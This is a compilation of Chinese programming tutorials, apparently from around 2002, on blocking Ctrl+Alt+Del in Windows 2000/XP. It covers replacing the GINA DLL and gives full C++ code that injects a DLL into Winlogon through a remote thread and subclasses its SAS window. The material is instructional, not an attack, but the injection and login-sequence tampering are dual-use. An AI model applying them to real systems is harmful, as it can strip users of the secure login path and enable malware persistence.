
WlxIsLockOk

WlxIsLogoffOk

WlxLoggedOnSAS

WlxLoggedOutSAS

WlxLogoff

WlxNegotiate

WlxNetworkProviderLoad

WlxRemoveStatusMessage

WlxScreenSaverNotify

WlxShutdown

WlxStartApplication

WlxWkstaLockedSAS

为了简化编程，我们从MSGINA.DLL中动态获取上诉函数，在自定义的DLL中(以下称为NoReboot.DLL)中直接调用MSGINA.DLL

的函数即可。现在我们要处理的就是WlxLoggedOnSAS函数：

int WINAPI WlxLoggedOnSAS (

PVOID pWlxContext,

DWORD dwSasType,

PVOID pReserved)

{

HANDLE hMutex;

WriteInfo("WlxLoggedOnSAS "); //用于记录信息

if (dwSasType == WLX_SAS_TYPE_CTRL_ALT_DEL){ //屏蔽CTRL_ALT_DEL,也可以根据特定条件来决定是否要屏蔽

//我采用了Mutex来控制是否屏蔽，（注意:要用unicode)

hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"_ac952_z_cn_CTRL_ALT_DEL");

if (hMutex){

CloseHandle(hMutex);

WriteInfo("disble CTRL+ALT+DEL ");

return WLX_SAS_ACTION_NONE; //将屏幕切换到应用程序桌面,屏蔽掉CTRL+ALT+DEL

}

else

WriteInfo("not disble CTRL+ALT+DEL ");

}

return prcWlxLoggedOnSAS ( //这是我从MSGINA.DLL中获取的函数。

pWlxContext,

dwSasType,

pReserved);

}

我们要在自己的程序中调用hMutex = CreateMutex(NULL, FALSE, "_ac952_z_cn_CTRL_ALT_DEL");就可屏蔽CTRL+ALT+DEL。

三、安装和注意事项：

在编写GIAN DLL中要注意，GINA DLL使用的是unicode。

GINA DLL的安装：

键名 : _LOCAL_MACHINENT

变量名 : GinaDLL

变量类型 : [REG_SZ]

内容 : "你的GINA DLL的名称" 如："NoReboot.DLL:

将你的GINA DLL(NoReboot.dll)拷贝到系统目录下(system32),重启机器，你的GINA DLL(NoReboot.dll)就会运行。

如果出现进不了你的系统，那你进入DOS后，将msgina.dll拷贝成你的GINA DLL(NoReboot.dll)就可进入了，或者进入

安全模式，删除掉那个键值。


在Windows2000中动态禁用/启用Ctrl-Alt-Delete

如何: 在Windows2000中动态禁用/启用Ctrl-Alt-Delete

--------------------------------------------------------------------------------

此文章的信息应用于:

Microsoft Windows 2000

--------------------------------------------------------------------------------

单击这里下载本文的代码。

概要

此文章的信息来自CSDN论坛VC/MFC版的讨论

在NT/2000中怎么禁用Ctrl+Alt+Delete?（不能用gina,键盘驱动）

在Windows2000中Ctrl-Alt-Delete组合键的处理如下：

Winlogon初始化的时候，在系统中注册了CTRL+ALT+DEL Secure Attention Sequence(SAS)热键，并且在WinSta0 Windows 系统中创建三个桌面。

SAS热键的注册使得Winlogon成为第一个处理CTRL+ALT+DEL的进程，所以保证了没有其他应用程序能够处理这个热键。

在 Windows NT/Windows 2000/Windows XP中， WinSta0 是表示物理屏幕、鼠标和键盘的Windows系统对象的名字。Winlogon在WinSta0 Windows系统中创建了SAS窗口（窗口标题是"SAS Window"）和如下三个桌面。

Winlogon 桌面

应用程序 桌面

屏幕保护 桌面

当用户按下Ctrl-Alt-Delete组合键时，Winlogon桌面上的SAS窗口收到它注册的系统热键消息(WM_HOTKEY)

SAS Window窗口处理这个消息调用Graphical Identification and Authentication(GINA)动态连接库中的相关函数

要中断Ctrl-Alt-Delete组合键的处理,可以有以下方式

从键盘驱动层捕获Ctrl-Alt-Delete

替换Winlogon

替换GINA

Hook Winlogon 上SAS窗口的窗口过程(需要当前登录用户有调试权限)

Hook GINA里边的函数WlxLoggedOnSAS，然后返回WLX_SAS_ACTION_NONE（未研究）

更多信息

鉴于系统的更新可能造成我们替换的系统文件和其他系统文件不兼容（著名的DLL地狱），所以不推荐替换Winlogon.exe和GINA的方法。这里我们讨论Hook Winlogon 上的SAS窗口的窗口过程的方法。

因为SAS窗口和我们的程序内存地址空间不同，所以要写一个动态连接库，加载到SAS窗口的内存空间中。下面是动态连接库的源代码。

//---------------------------------------------------------------------------

//作者 ：韦覃武

//网上呢称：BCB_FANS(四大名捕之追杀令)（此为CSDN和www.driverdevelop.com之帐号）

//E-Mail ：slwqw@163.com

//日期 ：2002-10-20

//

//功能 ：在2000下屏蔽Ctrl + Alt + Del组合键。（在Windows 2000 Professional SP3

// 中文版平台下面测试通过）

//原理 ：采用远程线程注入技术，装载一个DLL到Winlogon进程，然后截获SAS窗口的窗

// 口过程，接管WM_HOTKEY消息，以达到屏蔽Ctrl + Alt + Del之目的。

//开发语言：Borland C++Builder 5.0 Patch2

//技术比较：关于在2000下面如何屏蔽Ctrl + Alt + Del组合键，一种常被提到的解决方法就

// 是使用自己写的GINA去替换MSGINA.DLL，然后在WlxLoggedOnSAS里边直接返回

// WLX_SAS_ACTION_NONE。嘿嘿，说到底这并不是真正地屏蔽了这个组合键，只是

// 直接返回WLX_SAS_ACTION_NONE时，Winlogon进程又自动从"Winlogon"桌面切换

// 回原来的"Default"桌面了，而不是显示安全对话框，所以看起来被屏蔽了：），

// 使用那种方法明显地看到桌面在闪烁！但是使用本文的方法时，你不会看到任

// 何闪烁！

//鸣谢 ：www.driverdevelop.com上的icube和lu0。

//版权 ：转载请注明原作者：）

//---------------------------------------------------------------------------

#include "stdafx.h"

#include <string>

using namespace std;

//---------------------------------------------------------------------------

HWND hSASWnd;

FARPROC FOldProc;

LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam);

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam);

//---------------------------------------------------------------------------

HANDLE hThread = NULL;

DWORD dwThreadId;

DWORD WINAPI ThreadFunc();

//---------------------------------------------------------------------------

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH :

hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId);

break;

case DLL_PROCESS_DETACH :

if(FOldProc != NULL)

{

SetWindowLong(hSASWnd,GWL_WNDPROC,long(FOldProc));

}

CloseHandle(hThread);

break;

}

return TRUE;

}

//---------------------------------------------------------------------------

DWORD WINAPI ThreadFunc()

{

HDESK hDesk;

hDesk = OpenDesktop("Winlogon",0,false,MAXIMUM_ALLOWED);

FOldProc = NULL;

hSASWnd = NULL;

EnumDesktopWindows(hDesk,(WNDENUMPROC)EnumWindowsProc,0);

if(hSASWnd != NULL)

{

FOldProc = (FARPROC)SetWindowLong(hSASWnd,GWL_WNDPROC,long(SASWindowProc));

}

CloseHandle(hDesk);

return 1;

}

//---------------------------------------------------------------------------

//查找"Winlogon"桌面的窗口

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)

{

char ClassBuf[128];

GetWindowText(hwnd,ClassBuf,sizeof(ClassBuf));

//我自己写了一个系统服务，然后在里边查询"Winlogon"桌面上的窗口，发现桌面上存在

//窗口"SAS window"。

string ClassName(ClassBuf);

if(ClassName.find("SAS window") != -1)

{

hSASWnd = hwnd;

return false;

}

return true;

}

//---------------------------------------------------------------------------

//SAS窗口的窗口过程

LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)

{

//屏蔽Ctrl + Alt + Del

if(uMsg == WM_HOTKEY)

{

WORD wKey = HIWORD(lParam);

WORD wModifier = LOWORD(lParam);

bool IsCtrlDown = ((wModifier & VK_CONTROL) != 0);

bool IsAltDown = ((wModifier & VK_MENU) != 0);

bool IsShiftDown = ((wModifier & VK_SHIFT) != 0);

//按下Ctrl + Alt + Del组合键

if(IsCtrlDown && IsAltDown && wKey == VK_DELETE)

{

return 1;

}

//按下Ctrl + Shift + Esc组合键，这个组合键将显示任务管理器，可根据需要是否屏蔽。

else if(IsCtrlDown && IsShiftDown && wKey == VK_ESCAPE)

{

// Do nothing

}

}

return CallWindowProc((WNDPROC)FOldProc,hwnd,uMsg,wParam,lParam);

}

//---------------------------------------------------------------------------

这样，如果Winlogon加载了这个动态连接库，那么就替换了SAS窗口的窗口过程。如果Winlogon卸载了这个动态连接库，则恢复了SAS窗口的窗口过程。

为了让Winlogon加载我们的动态连接库，首先要找到Winlogon进程，然后在进程中分配空间存放我们的代码，再通过创建远程线程赖执行我们的代码。下面是Hook部分的代码

//---------------------------------------------------------------------------

//作者 ：韦覃武,jiangsheng

//网上呢称：BCB_FANS(四大名捕之追杀令)（此为CSDN和www.driverdevelop.com之帐号）jiangsheng（此为CSDN帐号）

//E-Mail ：slwqw@163.com

//日期 ：2002-10-20

//2002-11-5 jingsheng修改

//功能 ：在2000下屏蔽Ctrl + Alt + Del组合键。（在Windows 2000 Professional SP3

// 中文版平台下面测试通过）

//原理 ：采用远程线程注入技术，装载一个DLL到Winlogon进程，然后截获SAS窗口的窗

// 口过程，接管WM_HOTKEY消息，以达到屏蔽Ctrl + Alt + Del之目的。

//开发语言：Borland C++Builder 5.0 Patch2，Visual C++ 6.0 SP5

//技术比较：关于在2000下面如何屏蔽Ctrl + Alt + Del组合键，一种常被提到的解决方法就

// 是使用自己写的GINA去替换MSGINA.DLL，然后在WlxLoggedOnSAS里边直接返回

// WLX_SAS_ACTION_NONE。嘿嘿，说到底这并不是真正地屏蔽了这个组合键，只是

// 直接返回WLX_SAS_ACTION_NONE时，Winlogon进程又自动从"Winlogon"桌面切换

// 回原来的"Default"桌面了，而不是显示安全对话框，所以看起来被屏蔽了：），

// 使用那种方法明显地看到桌面在闪烁！但是使用本文的方法时，你不会看到任

// 何闪烁！

//鸣谢 ：www.driverdevelop.com上的icube和lu0。

//版权 ：转载请注明原作者：）

//---------------------------------------------------------------------------

#include "stdafx.h"

#include <tlhelp32.h>

#include <lmerr.h>

#include "Hook.h"

//add by jiangsheng 2002-11-5

#include "TaskKeyMgr.h"

#include "Wrappers.h"//复制自MSDN杂志Windows XP Escape from DLL Hell with Custom Debugging and Instrumentation Tools and Utilities的代码

extern BOOL Is_Terminal_Services () ;//复制自Platform SDK文档: Windows System Information /Verifying the System Version

//end add by jiangsheng 2002-11-5

//---------------------------------------------------------------------------

//错误代码格式化函数

//replaced by jiangsheng 2002-11-5

//from Q149409 HOWTO: Get Message Text from Networking Error Codes

CString __fastcall SysErrorMessage(DWORD dwLastError )

{

CString strRet(_T("Unknown error"));

HMODULE hModule = NULL; // default to system source

LPSTR MessageBuffer;

DWORD dwBufferLength;

DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_IGNORE_INSERTS |

FORMAT_MESSAGE_FROM_SYSTEM ;

//

// If dwLastError is in the network range,

// load the message source.

//

if(dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {

hModule = LoadLibraryEx(TEXT("netmsg.dll"),NULL,LOAD_LIBRARY_AS_DATAFILE);

if(hModule != NULL)

dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;

}

//

// Call FormatMessage() to allow for message

// text to be acquired from the system

// or from the supplied module handle.

//

if(dwBufferLength = FormatMessageA(

dwFormatFlags,

hModule, // module to get message from (NULL == system)

dwLastError,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language

(LPSTR) &MessageBuffer,

0,

NULL

))

{

//

// Output message string on stderr.

//

strRet=CString(MessageBuffer,dwBufferLength);

//

// Free the buffer allocated by the system.

//

LocalFree(MessageBuffer);

}

//

// If we loaded a message source, unload it.

//

if(hModule != NULL)

FreeLibrary(hModule);

return strRet;

}

//end replaced by jiangsheng 2002-11-5

//---------------------------------------------------------------------------

#ifdef UNICODE

LPCSTR LoadLibraryFuncStr = "LoadLibraryW";

LPCSTR GetModuleHandleFuncStr = "GetModuleHandleW";

#else

LPCSTR LoadLibraryFuncStr = "LoadLibraryA";

LPCSTR GetModuleHandleFuncStr = "GetModuleHandleA";

#endif

LPCSTR FreeLibraryFuncStr = "FreeLibrary";

LPCSTR GetProcAddressFuncStr = "GetProcAddress";

LPCSTR GetLastErrorFuncStr = "GetLastError";

//---------------------------------------------------------------------------

//removed by jiangsheng 2002-11-5

//const char* const RemoteDllName = "RemoteDll.Dll";

//end removed by jiangsheng 2002-11-5

LPCTSTR szRemoteProcessName = "Winlogon.exe";

typedef HINSTANCE (WINAPI *PLOADLIBRARY)(LPCTSTR );

typedef BOOL (WINAPI *PFREELIBRARY)(HINSTANCE);

typedef HMODULE (WINAPI* PGETMODULEHANDLE)(LPCTSTR );

typedef PVOID (WINAPI* PGETPROCADDRESS)(HINSTANCE,LPCSTR);

typedef DWORD (WINAPI* PGETLASTERROR)(VOID);

BOOL __fastcall EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable);

DWORD __fastcall GetPIDFromName(LPCTSTR lpszProcName);

//---------------------------------------------------------------------------

typedef struct

{

PLOADLIBRARY pfnLoadLibrary;

PGETLASTERROR pfnGetLastError;

TCHAR szDllName[1024];

DWORD dwReturnValue;

} INJECTLIBINFO;

typedef struct

{

PFREELIBRARY pfnFreeLibrary;

PGETMODULEHANDLE pfnGetModuleHandle;

PGETLASTERROR pfnGetLastError;

DWORD dwReturnValue;

TCHAR szDllName[1024];

} DEINJECTLIBINFO;

//---------------------------------------------------------------------------

//远程线程，用来装载DLL

static DWORD WINAPI ThreadFuncAttach(INJECTLIBINFO *pInfo)

{

HINSTANCE hDll=NULL;

pInfo->dwReturnValue = 0;

hDll = (HINSTANCE)pInfo->pfnLoadLibrary(pInfo->szDllName);

if(hDll == NULL)

pInfo->dwReturnValue = pInfo->pfnGetLastError();

return((DWORD)hDll);

}

//---------------------------------------------------------------------------

//占位函数，用来计算ThreadFuncAttach的大小

static void AfterThreadFuncAttach(void)

{

}

//---------------------------------------------------------------------------

//远程线程，用来卸载DLL

static DWORD WINAPI ThreadFuncDetach(DEINJECTLIBINFO *pInfo)

{

HINSTANCE hDll = NULL;

BOOL bResult=FALSE;

BOOL bHasFoundModule = FALSE;

pInfo->dwReturnValue = 0;//意味成功，如果这个值不是0，则是一个错误代码。

while((hDll = pInfo->pfnGetModuleHandle(pInfo->szDllName)) != NULL)

{

bHasFoundModule = TRUE;

bResult = pInfo->pfnFreeLibrary(hDll);

if(bResult == FALSE)

{

pInfo->dwReturnValue = pInfo->pfnGetLastError();

break;

}

}

if(pInfo->dwReturnValue == 0 && !bHasFoundModule)

{

pInfo->dwReturnValue = pInfo->pfnGetLastError();

}

return 1;

}

//---------------------------------------------------------------------------

//占位函数，用来计算ThreadFuncDetach的大小

static void AfterThreadFuncDetach(void)

{

}

//---------------------------------------------------------------------------

//修改本进程的权限

BOOL __fastcall EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable)

{

HANDLE hToken;

TOKEN_PRIVILEGES tp;

LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |

TOKEN_QUERY | TOKEN_READ,&hToken))

return FALSE;

if(!LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid))

return TRUE;

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);

CloseHandle(hToken);

return (GetLastError() == ERROR_SUCCESS);

}

//---------------------------------------------------------------------------

//通过进程名称得到进程的ID（这里使用方法Toolhelp函数，也可使用PSAPI）

DWORD __fastcall GetPIDFromName(LPCTSTR lpszProcName)

{

HANDLE hSnapshot;

PROCESSENTRY32 ProcStruct;

DWORD dwProcessID = -1;

//added by jiangsheng 2002-11-8

BOOL bIsTerminalServices=Is_Terminal_Services();

if(bIsTerminalServices){

//复制自MSDN杂志Windows XP Escape from DLL Hell with Custom Debugging and Instrumentation Tools and Utilities的代码

//get current session ID

CWTSWrapper WTS;

if (WTS.IsValid())

{

DWORD dwCurSessionID = -1;

LPTSTR pSessionInfo=NULL;

DWORD dwBytes;

if(WTS.WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE,WTS_CURRENT_SESSION,

WTSSessionId, (LPTSTR*)&pSessionInfo, &dwBytes)){

dwCurSessionID =*((DWORD*)pSessionInfo);

// enumerate processes

PWTS_PROCESS_INFO pProcessInfo = NULL;

DWORD ProcessCount = 0;

BOOL bFound;

if (WTS.WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1,

&pProcessInfo, &ProcessCount)){

for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++){

CString strCurExePath(pProcessInfo[CurrentProcess].pProcessName);

CString strRemoteProc(lpszProcName);

strCurExePath.MakeLower();

strRemoteProc.MakeLower();

bFound = (strCurExePath.Find(strRemoteProc) != -1);

if(bFound && dwCurSessionID==pProcessInfo[CurrentProcess].SessionId) {

dwProcessID = pProcessInfo[CurrentProcess].ProcessId;

break;

}

}

}

WTS.WTSFreeMemory(pSessionInfo);

}

}

}

else{

//end added by jiangsheng 2002-11-8

BOOL bResult;

hSnapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,0);

ProcStruct.dwSize = sizeof(PROCESSENTRY32);

bResult = Process32First(hSnapshot,&ProcStruct);

while(bResult)

{

BOOL bFound;

CString strCurExePath(ProcStruct.szExeFile);

CString strRemoteProc(lpszProcName);

strCurExePath.MakeLower();

strRemoteProc.MakeLower();

bFound = (strCurExePath.Find(strRemoteProc) != -1);

if(bFound)

{

dwProcessID = ProcStruct.th32ProcessID;

break;

}

bResult = Process32Next(hSnapshot,&ProcStruct);

}

CloseHandle(hSnapshot);

}

return dwProcessID;

}

//---------------------------------------------------------------------------

// 插入代码

//---------------------------------------------------------------------------

//InjectFunc

void __fastcall InjectFunc()

{

HANDLE hRemoteProcess=NULL;

DWORD dwRemoteProcess=NULL;

DWORD dwThreadSize=0;

INJECTLIBINFO InjectLibInfo;

PVOID pRemoteThread=NULL;

PVOID pRemoteParam=NULL;

DWORD dwWriten=0;

DWORD dwRet=0;

//提升本进程权限然后打开目的进程

//当前用户必须具有调试权限

EnablePrivilege(SE_DEBUG_NAME,true);

dwRemoteProcess = GetPIDFromName(szRemoteProcessName);

if(dwRemoteProcess == (DWORD)-1)

{

MessageBox(NULL,_T("Failed to Query Process ID."),NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,false,dwRemoteProcess);

if(hRemoteProcess == NULL)

{

MessageBox(NULL,_T("Failed to Open Process. Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//初始化参数

ZeroMemory(&InjectLibInfo,sizeof(INJECTLIBINFO ));

InjectLibInfo.pfnLoadLibrary = (PLOADLIBRARY)GetProcAddress(GetModuleHandle("Kernel32.dll"),LoadLibraryFuncStr);

InjectLibInfo.pfnGetLastError = (PGETLASTERROR)GetProcAddress(GetModuleHandle("Kernel32.dll"),GetLastErrorFuncStr);

lstrcpyn(InjectLibInfo.szDllName,CTaskKeyMgr::strRemoteDllName,CTaskKeyMgr::strRemoteDllName.GetLength()+1);

//在远程线程分配内存来存放参数

pRemoteParam = VirtualAllocEx(hRemoteProcess,NULL,sizeof(INJECTLIBINFO),MEM_COMMIT,PAGE_READWRITE);

if(pRemoteParam == NULL)

{

MessageBox(NULL,_T("Failed to Allocate Memory at Remote Process for Param.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

dwRet = WriteProcessMemory(hRemoteProcess,pRemoteParam,(LPVOID)&InjectLibInfo,sizeof(INJECTLIBINFO),&dwWriten);

if(dwRet == 0)

{

MessageBox(NULL,_T("Failed to Write Param to Remote Process.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//拷贝线程体

dwThreadSize = (int)AfterThreadFuncAttach - (int)ThreadFuncAttach + 1024 + sizeof(INJECTLIBINFO);

pRemoteThread = VirtualAllocEx(hRemoteProcess,NULL,dwThreadSize,MEM_COMMIT,PAGE_READWRITE);

if(pRemoteThread == NULL)

{

MessageBox(NULL,_T("Failed to Allocate Memory at Remote Process for Thread Code.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

dwRet = WriteProcessMemory(hRemoteProcess,pRemoteThread,(LPVOID)ThreadFuncAttach,dwThreadSize,&dwWriten);

if(dwRet == 0)

{

MessageBox(NULL,_T("Failed to Write Thread Code to Remote Process.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//启动远程线程

HANDLE hRemoteThread;

hRemoteThread = CreateRemoteThread(hRemoteProcess,0,0,(DWORD(__stdcall *)(VOID*))pRemoteThread,(INJECTLIBINFO*)pRemoteParam,0,&dwWriten);

::WaitForSingleObject(hRemoteThread,INFINITE);

if(hRemoteThread == NULL)

{

MessageBox(NULL,_T("Failed to create unload thread.Err=") + SysErrorMessage(GetLastError()),NULL,MB_OK |MB_APPLMODAL | MB_ICONWARNING);

}

else

{

;

}

//读卸载返回值

dwRet =ReadProcessMemory(hRemoteProcess,pRemoteParam,(LPVOID)&InjectLibInfo,sizeof(INJECTLIBINFO),&dwWriten);

if(dwRet == 0)

{

MessageBox(NULL,_T("Unable to read load return value.Err=") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

else

{

if(InjectLibInfo.dwReturnValue == 0)

{

;

}

else

{

MessageBox(NULL,_T("Failed to load library to Winlogon.Err=") +SysErrorMessage(InjectLibInfo.dwReturnValue),NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

}

//恢复权限

EnablePrivilege(SE_DEBUG_NAME,false);

CloseHandle(hRemoteProcess);

}

//---------------------------------------------------------------------------

// 卸载线程

//---------------------------------------------------------------------------

//DeinjectFunc

void __fastcall DeinjectFunc()

{

HANDLE hRemoteProcess=NULL;

DWORD dwRemoteProcess=0;

DWORD dwThreadSize=0;

DEINJECTLIBINFO DeinjectLibInfo;

PVOID pRemoteThread=NULL;

PVOID pRemoteParam=NULL;

DWORD dwWriten=0;

DWORD Ret=0;

//提升本进程权限然后打开目的进程

EnablePrivilege(SE_DEBUG_NAME,true);

dwRemoteProcess = GetPIDFromName(szRemoteProcessName);

if(dwRemoteProcess == (DWORD)-1)

{

MessageBox(NULL,_T("Failed to Query Process ID."),NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,false,dwRemoteProcess);

if(hRemoteProcess == NULL)

{

MessageBox(NULL,_T("Failed to Open Process. Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//初始化参数

ZeroMemory(&DeinjectLibInfo,sizeof(DEINJECTLIBINFO ));

DeinjectLibInfo.pfnFreeLibrary = (PFREELIBRARY)GetProcAddress(GetModuleHandle("Kernel32.dll"),FreeLibraryFuncStr);

DeinjectLibInfo.pfnGetModuleHandle = (PGETMODULEHANDLE)GetProcAddress(GetModuleHandle("Kernel32.dll"),GetModuleHandleFuncStr);

DeinjectLibInfo.pfnGetLastError = (PGETLASTERROR)GetProcAddress(GetModuleHandle("Kernel32.dll"),GetLastErrorFuncStr);

lstrcpyn(DeinjectLibInfo.szDllName,CTaskKeyMgr::strRemoteDllName,CTaskKeyMgr::strRemoteDllName.GetLength()+1);

//在远程线程分配内存来存放参数

pRemoteParam = VirtualAllocEx(hRemoteProcess,NULL,sizeof(DEINJECTLIBINFO),MEM_COMMIT,PAGE_READWRITE);

if(pRemoteParam == NULL)

{

MessageBox(NULL,_T("Failed to Allocate Memory at Remote Process.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

Ret = WriteProcessMemory(hRemoteProcess,pRemoteParam,(LPVOID)&DeinjectLibInfo,sizeof(DEINJECTLIBINFO),&dwWriten);

if(Ret == 0)

{

MessageBox(NULL,_T("Failed to Write Param to Remote Process.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//拷贝线程体

dwThreadSize = (int)AfterThreadFuncDetach - (int)ThreadFuncDetach + 1024 + sizeof(DEINJECTLIBINFO);

pRemoteThread = VirtualAllocEx(hRemoteProcess,NULL,dwThreadSize,MEM_COMMIT,PAGE_READWRITE);

if(pRemoteThread == NULL)

{

MessageBox(NULL,_T("Failed to Allocate Memory at Remote Process for Thread Code.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

Ret = WriteProcessMemory(hRemoteProcess,pRemoteThread,(LPVOID)ThreadFuncDetach,dwThreadSize,&dwWriten);

if(Ret == 0)

{

MessageBox(NULL,_T("Failed to Write Thread Code to Remote Process.Err = ") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

return;

}

//启动远程线程

HANDLE hRemoteThread;

hRemoteThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD(__stdcall *)(VOID*))pRemoteThread,(DEINJECTLIBINFO*)pRemoteParam,0,&dwWriten);

if(hRemoteThread == NULL)

{

MessageBox(NULL,_T("Failed to create remote unload thread.Err=") + SysErrorMessage(GetLastError()),NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

else

{

CloseHandle(hRemoteThread);

}

//读卸载返回值

Ret = ReadProcessMemory(hRemoteProcess,pRemoteParam,(LPVOID)&DeinjectLibInfo,sizeof(DEINJECTLIBINFO),&dwWriten);

if(Ret == 0)

{

MessageBox(NULL,_T("Unable to read unload return value.Err=") + SysErrorMessage(GetLastError()),

NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

else

{

if(DeinjectLibInfo.dwReturnValue == 0)

{

}

else

{

MessageBox(NULL,_T("Failed to unload .Err=")+ SysErrorMessage(DeinjectLibInfo.dwReturnValue),NULL,MB_OK | MB_APPLMODAL | MB_ICONWARNING);

}

}

//恢复权限

CloseHandle(hRemoteProcess);

EnablePrivilege(SE_DEBUG_NAME,false);

}

//---------------------------------------------------------------------------

//使用方法

BOOL CTaskKeyMgr::IsCtrlAltDeleteDisabled(){return bInjectFuncLoaded;}

if (dwFlags & CTRLALTDEL) {

if(bDisable&&!IsCtrlAltDeleteDisabled()){

InjectFunc();

bInjectFuncLoaded=TRUE;

}

if(!bDisable&&IsCtrlAltDeleteDisabled()){

DeinjectFunc();

bInjectFuncLoaded=FALSE;

}

}

注意

如果Windows的后续版本更改了Ctrl+Alt+Delete的处理，本文所提供的技术可能不再工作。如果你在你的代码中使用了本文的技术，请注意你可能必须在未来修改你的代码。

已知问题

尚无Unicode版本

VirtualAllocEx分配的内存没有用VirtualFreeEx释放

在Debug方式下运行会造成Winlogon出错（出错后请不要确认或取消那个出错对话框，然后保存打开的所有文档，关闭所有程序，通过正常的途径关机，否则Windows会立刻关机）

参考

如果需要更多信息，单击下面的连接查看CSDN论坛中的讨论

在NT/2000中怎么禁用Ctrl+Alt+Delete?（不能用gina,键盘驱动） 。

单击这里下载本文的代码。

MSDN文档库中的文章

Q226359 HOWTO: Disable Task Switching on Win32 Platforms

Q195027 STOP 0xC000021A in Winlogon Caused by PCAnywhere

Q229033 Programs That Replace Msgina.dll May Cause "STOP 0x0000001E" Error Message

Q192298 Third Party GINAs May Fail with Service Pack 4 Causing STOP 0x21A in WINLOGON

Q164486 Winlogon May Fail if the Third-Party Gina.dll File is Missing or Corrupted

Q180854 Access Violation in Winlogon with Third-Party Gina.dll

Q193361 MSGINA.DLL does not Reset WINLOGON Structure

MSDN杂志中的文章

MSDN Magazine > September 2002 > Typename, Disabling Keys in Windows XP with TrapKeys(Paul DiLascia)

MSDN Magazine > June 2002 > Windows XP Escape from DLL Hell with Custom Debugging and Instrumentation Tools and Utilities


Windows XP系统中如何屏蔽 Ctrl+Alt+Del、Alt+Tab以及Ctrl+Esc键序列

附件>>>>> trapkeys.zip

Windows XP系统中如何屏蔽 Ctrl+Alt+Del、Alt+Tab以及Ctrl+Esc键序列

编译/northtibet

关键字：Ctrl+Alt+Del，Alt+Tab，Ctrl+Esc，VK_LWIN，VK_RWIN，Task bar，Task Manager，任务栏，任务管理器。

下载本文源代码: TrapKeys.zip (95KB)

对于用过Windows的人，几乎没有人不知道Ctrl+Alt+Del组合键，尤其是在使用经常死机的Windows9x时，使用它的频率更高，这一组合键是专门为了系统安全起见提供的紧急出口。VC知识库在线杂志第11期，ac952_z_cn在他的个人专栏中写过一篇关于这方面的文章：“WINDOWS NT/2000下如何屏蔽CTRL+ALT+DEL”。因此本文侧重于介绍在Windows XP中如何实现屏蔽CTRL+ALT+DEL组合键，也就是任务管理器，任务切换组合键（Alt+Tab），任务栏和“开始”菜单（Ctrl+Esc，VK_LWIN，VK_RWIN）。这个方法也能应用于Windows 2000环境。

在Windows 9x/Me系统中，屏蔽Ctrl+Alt+Del和各种任务开关键的方法是通过下面的方法实现的：BOOL bOldState;

